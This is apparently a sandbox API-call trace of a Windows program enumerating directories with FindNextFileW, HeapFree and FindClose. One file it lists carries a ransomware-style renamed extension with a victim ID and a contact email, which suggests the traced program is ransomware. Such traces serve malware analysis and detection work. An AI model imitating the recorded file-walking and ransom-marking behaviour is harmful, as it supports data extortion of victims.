	[0135.133] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0135.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.133] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0135.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.133] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0135.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.134] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0135.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.134] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0135.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.142] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0135.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.192] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0136.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0136.282] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0136.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0136.283] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0136.283] FindClose (in: hFindFile=0x5dd580 | out: hFindFile=0x5dd580) returned 1
	[0136.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.284] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0136.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0136.285] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0136.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.285] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0136.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0136.296] FindNextFileW (in: hFindFile=0x5dd500, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0136.296] FindClose (in: hFindFile=0x5dd500 | out: hFindFile=0x5dd500) returned 1
	[0136.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.297] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0136.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.298] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0136.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.298] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0136.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.301] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0136.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0136.301] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0136.301] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0136.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.301] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0136.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0136.301] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0136.301] FindClose (in: hFindFile=0x5dd5c0 | out: hFindFile=0x5dd5c0) returned 1
	[0136.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.301] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0136.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.302] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0136.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.302] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0136.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.303] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0136.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0136.303] FindNextFileW (in: hFindFile=0x5dd500, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0136.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0136.305] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0136.305] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0136.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0136.306] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0136.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.306] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0136.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0136.307] FindNextFileW (in: hFindFile=0x5dd500, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0136.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.308] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0136.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.308] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0136.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0136.308] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0136.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.309] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0136.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0136.425] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0136.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.426] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0136.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.428] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0136.428] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0136.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4560078 | out: hHeap=0x4f0000) returned 1
	[0136.430] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9bbbed4f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9bbbed4f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9bbbed4f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0136.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.433] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
